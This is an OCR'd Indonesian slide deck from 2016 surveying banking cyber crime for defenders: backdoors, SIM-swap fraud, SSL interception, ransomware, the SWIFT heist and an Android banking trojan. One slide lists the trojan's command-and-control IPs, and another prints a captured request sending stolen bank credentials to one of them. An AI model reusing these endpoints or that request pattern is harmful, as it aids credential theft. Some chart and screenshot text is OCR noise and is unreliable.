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Gildas Arvin Deograt Lumy

An international expert in information and cyber security, cyber defense, SCADA security.
As consultant, auditor, authorized hacker, expert witness in court, trainer, writer, speaker in
national & international events, and source for major news media.

As expert for Bl, Kemkominfo, Kemhan, Lemhanas, Lemsaneg, LKPP, OJK, PPATK, TNI, etc
24 years experiences in IT, includes 19 years focusing in security.

Involved in more than 100 security projects in 15 countries for more than 80 organizations.

PROFESSIONAL CERTIFICATION

Certified Information Systems Auditor (CISA)
Certified Information Systems Security Professional (CISSP)

v

Certified Lead Security Incident Professional (CLSIP) / ISO 27035 Information Security Incident Management

ISO 27001 Information Security Management System Lead Auditor

CURRENT POSITIONS

Senior Information Security Consultant, XecurelT, since 2007
Cyber Defense Expert, Ministry of Defense, since 2013

Deputy Director Coordination and Mitigation Group, National Desk for Cyberspace, Coordinating Political,

Legal, and Security Affairs Minister, since 2014
President of Cyber Security Certified Professional (CSCP) Association, since 2013
Coordinator of Komunitas Keamanan Informasi (KKI), since 2005

CONTACT
gildas.deograt@xecureit.id Signal/Telegram +62 813 1773 7474  www.linkedin.com/in/gildasdeograt
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Some Quotes

= Trust, but verify.

= Trust is good, but control is better.

= There is no security silver bullet.

= No security hole is too small.

= Digital world is dangerous because it’s silent.

= Complexity is the biggest security enemy.

© PT IMAN Teknologi Informasi

= Easier to implement and maintain by (security) system administrator.
=  Minimum impact (as “transparent” as possible) to end-users.

= |f you can’t physically secure your computer, it's not only belongs to
you anymore.

= Feeling secure is dangerous. It makes us complacent.

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 6
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/' Certificate Error: Navigation Blocked - Windows Internet Explorer

—

o i lﬂ thpss fibank Mikbea.com v 2| X ".' OOGF P i

File Edt Yiew Favorites Tools Help

. Favorites | BE) Certificate Error: Navigation Blocked ' - B L dwm v Pagev Safety~ Tooks~ i~ 7

|@ There is a problem with this website's security certificate.

The security certificate presented by this website was not |ssued by a trusted certificate
authority.

Security certificate problems may indicate an attempt to fool you or intercept any data you
send to the server.

We recommend that you close this webpage and do not continue to this website.
@ click here to close this webpage.

& Continue to this website (not recommended). [%

@ More information

Apa jawaban yang dipilih nasabah?
Siapa yang bertanggung-jawab?

B Microsoft PowsrPoint ... /7 Certificate Error: Nav.., | 20| PowesPoink Skde Sho... .| Flashing
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Anti Virus is (not) dead I(

% AV VENDORS DETECTION

KKI'12/R2/K2
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Sumber: http://labs.lastline.com/lastline-labs-av-isnt-dead-it-just-cant-keep-up

Overall % of AV Scanners

—
-'-_,.-r
-
—-—

==
-
—
—
-— -
*-F
d_—
-
P
-‘-

---------1---

1st Percentile — Least Detected Malware

-
-
=
-
-
R
-

—
-
— o
=
-
P
—
-
U
— ot —

BT HNSARAARI ARG RRRAIGHAREEIAARRAER25HY

90 Days, 68% Detection Rate

Cyber Crime Update 20160728

i

g

E ; Lembaga Sertifikasi Profesi Perbankan

4

m

L&

Hal. 9

-
e
=
=
-
==
-
-
=
e
—
-

g

XecurelT

v

© PT IMAN Teknologi Informasi



Zero Day Vulnerability: €3 LSPP *ece"

We are the sitting ducks v
EE @ BBCID Menu ~ Search Q

N EWS Sections

Microsoft fixes '19-year-old' bug with emergency patch

By Dave Lee
Technology reporter, BBC News

© 12 November 2014 Technology

ZDNet

© PT IMAN Teknologi Informasi

Apple zero-day vulnerability fully compromises your
devices

The severe and previously unknown flaw circumvents Apple's stringent
security features to compromise devices.

By Charlie Osborne for Zero Day | March 24, 2016 -- 08:35 GMT (16:35 GMT+08:00) | Topic: Security
KKI12/R2/K2 Cyber Crime Update 20160728 Hal. 10



Zero Day Vulnerability: @LSPP Xe%re”
We are the sitting ducks

= Pada korporasi, critical patch mulal dipasang paling cepat 1
minggu setelah diterbitkan.

= Mayoritas 6 bulan baru selesal dipasang pada seluruh sistem.

= Pembuatan exploit dengan cara reverse engineering dari
patch hanya butuh waktu < 1 jam.

= Statistik Kelemahan Keamanan 2015:

= Tercatat 16.801 kelemahan pada 2.484 produk.

= 2.573 kelemahan diketahui publik sebelum patch dikeluarkan, 25
diantaranya sudah tersedia exploit.

= 1.114 kelemahan pada Top 5 Browsers.

= 2.219 kelemahan berkategori Highly Critical dan Extremely Critical.

KKI12/R2/K2 Cyber Crime Update 20160728 Hal. 11
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Backdoors

Et tu, Fortinet? Hard-coded password raises new
backdoor eavesdropping fears

Discovery comes a month after competitor Juniper disclosed unauthorized code.

SLSPP "5

by Dan Goodin - Jan 12, 2016 10 pm UTc  Secret backdoors found in firewall, VPN gear

‘»

- sl Bl L (U

from Barracuda Networks £

_ The undocumented accounts may have been around for a decade. 2

HP Confirms Backdoor In StoreOnce Backup Product . 201208 pmurc k=2

Line IDEMTITY R NETWORKING EEI %

. c

o i M V- all, VPN, and spam filtering gear sold by Barracuda MNetworks contains undocumented %
yan MNarame om Men 4 2 Ewy i :

fweet [Hswnan 2 (B0 its that allow people to remotely log in and access sensitive information, researchers —

security firm have warned <ZE

Security response personnel at HP are "actively working on a fix” for a potentially s

dangerous backdoor in clder versions of its StoreOnce backup product line. ure shell, backdoor is hardcoded into "multiple Barracuda Networks products™and can

The company's confirmation of what it describes as a “potential security issue™ follows the shell access to vulnerable appliances, according to an advisory published Thursday by o

public disclosure that malicious hackers can use 55H access to perform full remote inerability Lab. ©

compromise of HP's StoreOnce backup systems.
According to the warning from an unidentified security researcher, an attacker can simply
enter the username “HPSupport™ and an easy-to-crack preset password to gain full FU FrUms J Dbs

administrative access to a vulnerable StoreOnce system.

Malicious Cisco router backdoor found on 79
more devices, 25 in the US

SYNful Knock implant appears to be much bigger than first reported, researchers say.

by Dan Goodin - Sep 16, 2015 2:53 pm UTC

0 shore |9 Tweet Jum et | 44

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 12



Tantangan Keamanan = Peluang Bisnis g

KKI'12/R2/K2

SLSPP "5

P F Do

74% of Bankers Say Clients Would Switch
Financial Institutions for Better Security

© PT IMAN Teknologi Informasi

August 10, 2011 10:00 ET | Source: Fundtech Ltd.

Sumber: http://tinyurl.com/jqgq25wf

Cyber Crime Update 20160728 Hal. 13
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Internet Banking vs Mobile Bankin

Internet Banking

> @
-
Client: i?
Browser Front End Servers: g
Web Server e
<ZE
>
a
Mobile Banking )

>

Client:
Mobile Banking Front End Servers:
Application Web Service
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Mobile Banking Malware Hijacks &3 LSPP
20 Mobile Banking Apps
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The Spdney Morning Herald

Digital Life

Latest Mews Gadgets Science Innovation Web Culture Gaming Security IT Pro

U are here: Home » Technology

Malware hijacks big four Australian banks' apps,
steals two-factor SMS codes

March 10, 2016 Comments | 172 Pead later

Millions of customers of Australia's largest banks are the target of a sophisticated Android
attack which steals banking details and thwarts two-factor authentication security.

Commonwealth Bank, Westpac, National Australia Bank and ANZ Bank customers are all at risk
from the malware which hides on infected devices waiting until users open legitimate banking
apps. The malware then superimposes a fake login screen over the top in order to capture
usernames and passwords.

The malware is designed to mimic 20 mobile banking apps from Australia, New Zealand and
Turkey, as well as login screens for PayPal, eBay, Skype, WhatsApp and several Google
services.

Cyber Crime Update 20160728
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Pencurian Rp 245 juta via 3 LSPP Xe%re”
Internet Banking Bank Permata

= Rekening Bobol Ratusan Juta, Nasabah Gugat Bank Permata Rp
32,2 Miliar http://tinyurl.com/jtjzeb7

= Nasabah melaporkan ke polisi walau bank Mau mengganti 50 persen
kerugian.

= 28 Agustus 2014, sekitar pukul 22.00 seseorang yang meminta
penggantian SIM card nomor ponsel milik nasabah di Grapari Telkomsel
dengan melampirkan fotokopi KTP dan surat kuasa palsu atasnama
nasabah.

© PT IMAN Teknologi Informasi

= Seseorang yang menghubungi layanan pelanggan Bank Permata untuk
melakukan reset password internet banking. Reset password berhasil
dilakukan sekitar pukul 01.17.

= Pentransferan uang dari tabungan nasabah ke rekening Bank Danamon,
Bank Tabungan Negara, dan Bank Rakyat Indonesia dilakukan pada pukul
01.33,01.37,01.43,01.47,06,39, dan 11.15.

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 16



Pencurian Rp 245 juta via 3 LSPP Xe%re”
Internet Banking Bank Permata

= Digugat Nasabah Rp 32,2 Miliar, Ini Penjelasan Bank
Permata http://tinyurl.com/jqr8qgxb

= Hasil investigasi internal Bank Permata, transaksi tersebut
dinyatakan wajar karena telah berhasil dijalankan melalui
proses verifikasi dan otentikasi bertransaksi di layanan
PermataNet dengan User ID, password, dan Token yang valid.

© PT IMAN Teknologi Informasi

= User ID, password, dan Token tersebut hanya diketahui oleh
nasabah sendiri dan menjadi tanggung jawab nasabah untuk
menjaga kerahasiaannya.

= 9 Desember 2014, Bl dan OJK menyampaikan kesimpulan
bahwa kasus tersebut tak masuk ke ranah perdata.

KKI12/R2/K2 Cyber Crime Update 20160728 Hal. 17
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“Sinkronisasi Token”

= Kasus-kasus “sinkronisasi token”
http://tinyurl.com/guown7h

e s dtcn o T

Sinkronisasi Token PIN Mandiri

Challenge code H 52246535

Masukkan "PIN Mandiri’ untuk
Konfirmasi (Metode APPLI 1)

© PT IMAN Teknologi Informasi

o \|- untuk aktivasi

LANJUTKAN

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 18
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“Sinkronisasi Token”

Malware Injection,
MITB,
Host Poisoning,
DNS Changer

Social
Engineering
(Phishing, etc)

KKI'12/R2/K2

DHCP | " Routing
&ARP & DNS
~ Poisoning, = | .
| 20 ~ Poisoning,
i Rou\gNe}\F\iNlFl, | Connection
inck
Hijacking lacing

Cyber Crime Update 20160728

&3 LSPP *

LLLLLL Sertifikasi Profesi Perbankan

Serangan SSL Man in The Middle (MiTM)

HTTPS Server

Hal. 19
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“Sinkronisasi Token” @LSPP Xer%rew
Serangan SSL Man in The Middle (MiTM)

Normal SSL Connection

Original __Original
Ay Server Digital ~—, ServerDigital-------____
Y ~#Z Certificate Certificate
S '
! N
ym) 2 E :
8 - ElISSL i‘gSSL ‘5 E
User HTTPS Server <
g
2
SSL MITM Connection -
Original s
" . 4 Server Digital 777 =
@7 Certificate =
User A ,Lml, S @ HTTPS Server
nuuSSL v’ i\ﬁ:SSL
Fake |
—? Server Digital 2
Certlﬁcate e

—————
_____
------------
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@LSPP XecurelT
Malware Hijacks SmartCard and PIN v

Chinese 'attack US DoD smart
cards' with Sykipot malware

A new stram of the Sykipot malware 1s being used by Chinese cyber criminals to
compromise US Department of Defense (DoD) smart cards, a new report has
revealed.

-

By Sophie Curtis | Jan 13, 2012

A new strain of the Sykipot malware is being used by Chinese cyber

© PT IMAN Teknologi Informasi

criminals to compromise US Department of Defense (DoD) smart cards, a
new report has revealed.

The malware has been designed to take advantage of smart card readers
running ActivClient — the client application of Actividentity — according to

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 21
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Layanan Telekomunikasi

Orange France hacked AGAIN, 1.3 million
victims seeing red

Phishers' delight as names, D.O.Bs and phone numbers pinched

B

©

8 May 2014 at 07:02, D Pauli g
ay a arren Pauli & O o @ £

[

- _ Vodafone UK latest telco to suffer hack =

Personal data describing 1.3 millic Bv Nick Wood. Total Tel 3
hit the telco this year. ETARE B SISt Y o
Tuesday 03 November 2015 <

()

Hackers made off with subscriber Personal details of more than 1,800 customers accessed -
telco's subscriber base. dl.ll'il'lg cyber attack. <§’:
—

[a

©

Vodafone has become the latest U.K. telco to suffer a cyber attack,
>f more than 1,800

UK telco TalkTalk hacked, 4m

customers affected idnight on
29 October, during

By Staff Writer
Oct 26 2015
6:40AM

Credit card details likely stolen.

British broadband provider TalkTalk revealed it has suffered an attack on its systems that may have led to the theft of

personal data from its more than 4 million customers.

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 22



Layanan Telekomunikasi
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SLSPP "%

Prioritas aspek keamanan: Ketersediaan.
SIM Swop attack has been known since 2007.
GSM (voice and SMS interception is cheap and easy.

Fake BTS attack is “common”

Breaking GSM With a $15 Phone ... Plus Smarts

© PT IMAN Teknologi Informasi

BUSINESS

BREAKING GSM
WITH A $15 PHONE
... PLUS SMARTS

Cyber Crime Update 20160728 Hal. 23
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Untrusted Browser

= Malware in The PCWorld
Browser

Work. Life. Productivity.

= Malware as a Tricky new malware replaces your
entire browser with a dangerous
Browser Chrome lookalike

This malicious browser looks and acts just like Chrome--except

© PT IMAN Teknologi Informasi

for all the pop-up ads, system file hijacking, and activity

monitoring.

Q
>
2
:
n
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Malware Attacks Mobile Banking €3 LSPP "<
March 2016 W

= Stealing Password and SMS based 2 Factor
Authentication from 20 Autralian Banks
Customers

© PT IMAN Teknologi Informasi

Log on |
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Targeted Banks

= Westpac -
= Bendigo Bank -
= Commonwealth Bank -
= St. George Bank =
= National Australia Bank "
= Bankwest -
= Me Bank -
= ANZ Bank -
= ASB Bank -

= Bank of New Zealand n

E ; Lembaga Sertifikasi Profesi Perbankan

Kiwibank

Wells Fargo
Halkbank

Yapl! Kredi Bank
VakifBank
Garanti Bank
Akbank
Finansbank
Turkiye Is Bankasi

Ziraat Bankasi

KKI'12/R2/K2 Cyber Crime Update 20160728
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@ LSPP XecurelT
Malware Tidak Membutuhkan Akses Root @

B BT & 12:46

< {8} Device administrators

/ Flash Player

May lose user data.
Do you want to continue?

Cancel OK

© PT IMAN Teknologi Informasi

As fake Flash Player as Device Administrator, Not Root.
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Malware Communication With Server V

Device information > g

List of installed apps > ‘%

< List of targeted apps é

|_

Name of launched targeted app > g

< Clone activity of launchedtargeted app n

©

Stolen credentials > \y-/
Command and Control servers:

Malware can forward, modify http://94.198.97.202
and/or delete incoming SMS. http://46.105.95.130

http://181.174.164.138
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Malware Communication With Server

Stream Content

POST /a290116/inject/bankwest /verify.php HTTR/1.1
HostT: 181.174.164.138
cunnectiun keep-alive
Referer: E J/181.174.164.138/a290116/inject /bankwest,/login. php
Content- Leng 116

Cache-Control: max-age=0
origin: http://181.174.164.138
Content-Type: pq11catiUﬂfx—www—Furm—ur1encuded

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;0=0.8

User-Agent : M02111af5.0 (Linux; U; aAndroid 4.3; en-gh; &T-I9300 Build/155153) applewebkit,/534.30 (KHTML, Tlike Gecko)
version/4.0 Mobile safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-uUs
Accept-Charset: utf-8, iso0-8859-1, utf-16,

unigid=3NGG 5. o e T =3l . Com. bankwesﬂ: mobi 1 e&emai =G
QK

erver. nginx, 1.0.10

Date: Thu, 04 Feb 2016 10:50:20 GMT
Content-Type: text/html; charset=UTF-8
connection: close
¥-Powered-By: PHP/5.3.3
Content-Length: 297

“:{
|
%
|
© PT IMAN Teknologi Informasi

<! DOCTYPE html>

<html=

<head:

<?ﬁtadname=“viewpnrt“ content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
=/head=

<body text="#933lal" style="height: 100%; background-color: transparent; padding-top: 50%;">
zcenter><h2=Please wait...</hZ2=</center>

</bod
<fhtm¥:

KKI 12/R2/K2 Cyber Crime Update 20160728 Hal. 29



Ransomeware

KKI'12/R2/K2

Computers at three banks,
pharmaceutical company hacked,;
hackers demand ransom in bitcoins

Sachin Dave, ET Bureau Jan 11, 2016, 05.02AM 15T
Tags: pharmaceutical | Malware | Indian Government | EY | cyber |

MUMBAI: Hackers seized control of computers at three
banks and a pharmaceutical company about a week ago,
then demanded a ransom in bitcoins for the decryption keys
to unfreeze them.

The attackers accessed the system by compromising IT
administrators' computers, people aware of the matter said.
In all four cases, the hackers are said to have used the
Lechiffre ransomware. Having encrypted all files, the
hackers demanded one bitcoin each (about Rs 30,000 at
current prices) per computer for a total running into millions
of dollars. This is the first known instance of a hacker
seeking ransom payments from Indian victims in bitcoins, a
digital currency that's gaining acceptance worldwide.

{The atl

Cyber Crime Update 20160728
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Ransomeware

KKI'12/R2/K2

RANSOMWARE OVERVIEW

After dipping in the first quarter of
2015, overall ransomware infection
numbers remained relatively

steady for the rest of the year,
fluctuating between 23,000 and
39,000 infections a month. Infection
numbers spiked to 56,000 on March
2016, a development that coincided
with the arrival of the virulent Locky

ransomware (Trojan.Cryptolocker.AF).

Cyber Crime Update 20160728
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Ransomeware &3 LSPP Xe(%re”

http://tinyurl.com/jdmpuv7

= The average ransom demand has more than
doubled and is now S$679, up from $294 at the
end of 2015.

= The shift towards crypto-ransomware has
continued. All bar one of the new variants
discovered so far in 2016 are crypto-
ransomware, compared to around 80 percent
last year.

© PT IMAN Teknologi Informasi
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DDoS: Citi Takes Post-Holiday Hit

Hacktivists Announce Plans for Year-End Bank Attacks

Tracy Kitten (=FraudBlogger) * December 27, 2012

(] Twitter Linkedin Credit Eligible Get Permission

After hacktivists announced in a Christmas Day
Pastebin post plans for a third week of bank attacks,

attack

By Steve Ragan on March 13, 2013

XecurelT

v

JP Morgan Chase Blasted Offline during DDoS

JP Morgan Chase is recovering from a DDaoS attack that knocked it’s website, and online
banking offline on Tuesday, making them the latest victim in a wave of DDoS attacks against

financial institutions.

Initially, the DDoS prevented access completely for some customers, and then the attack
created intermittent outages and connections that were sluggish and slow. Customers were
greeted with a notice on Chase.com that simply stated that the site was “temporarily

down.” Mobile banking was unaffected by the attack, Chase said.
KKI12/R2/K2 Cyber Crime Update 20160728
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Advance Persistent Threat (APT)

KKI'12/R2/K2
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Banks, Regulators React to SWIFT Hack

Millions Still Missing After Bangladesh Bank Heist

I":-»“. J :::._f hwartz ( EerGiﬂfDSE‘G?’ * !-"-'.|;_'I g N4

Banks and regulators have begun reviewing SWIFT-related information security practices
following the online heist of $81 million from Bangladesh Bank. Authorities say much of that
money is still missing.

See Also: Avoid 75% of all Data Breaches by Keeping Privileged Credentials Secure

Bank of England, the U.K.'s central bank, ordered banks across the country to outline what
steps they had taken to lock down their systems in the wake of the hack attack against
Bangladesh Bank via the interbank SWIFT messaging system, Reuters reports, citing

unnamed officials who weren't authorized to discuss the move.

Officials at the Bank of England didn't respond to a request for comment on that report.

XecurelT

v
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Hacker's inside ;) SLSPP )
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IT Auditor vs Hacker

KKI'12/R2/K2

Objective

Purpose

Mindset

Time
Target

Learning Process

Support

IT Auditor

Securing target

How to find the root
cause and improve the
process . ++

Inside the box.
How to check (risk
based)

Limited
Limited by scope of work

Based on job description

Consultant (Paid)

Z § Sertifikasi Profesi Perbankan

Lembaga Serti

Hacker

Securing / compromising target

Good: How to improve the human
life through technology. ++

Bad: How to steal or damage
others through technology.

Think out of the box.

How to hack (technology based)
++

Unlimited ++
Unlimited ++

Based on passion ++

Community (Free) ++

Cyber Crime Update 20160728
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The Biggest Challenge:
To Change The Mindset

“| feel convenience if...
| use the good safety belt and helmet properly and
the car has the effective breaking system to go fast !”



Keamanan: 3 LSPP ecurer
Komprehensif dan Konsisten ag v

© PT IMAN Teknologi Informasi
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Redefine Cyber Security Architecture: @ LSPP Xe‘%re”
Integrated Information Security

o
I People

SAKTTI 1s a high grade
iInformation security
architecture to
effectively implement
Integrated information
security concept.

© PT IMAN Teknologi Informasi
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* Free eBook :)

HA(K3R's = Request to
SE[:RETS gildas.deograt@xecureit.id

for

CEOs

“Rasa aman berbahaya.
Rasa aman membuat kita lengah.”

© PT IMAN Teknologi Informasi

Gildas Arvin Deograt Lumy
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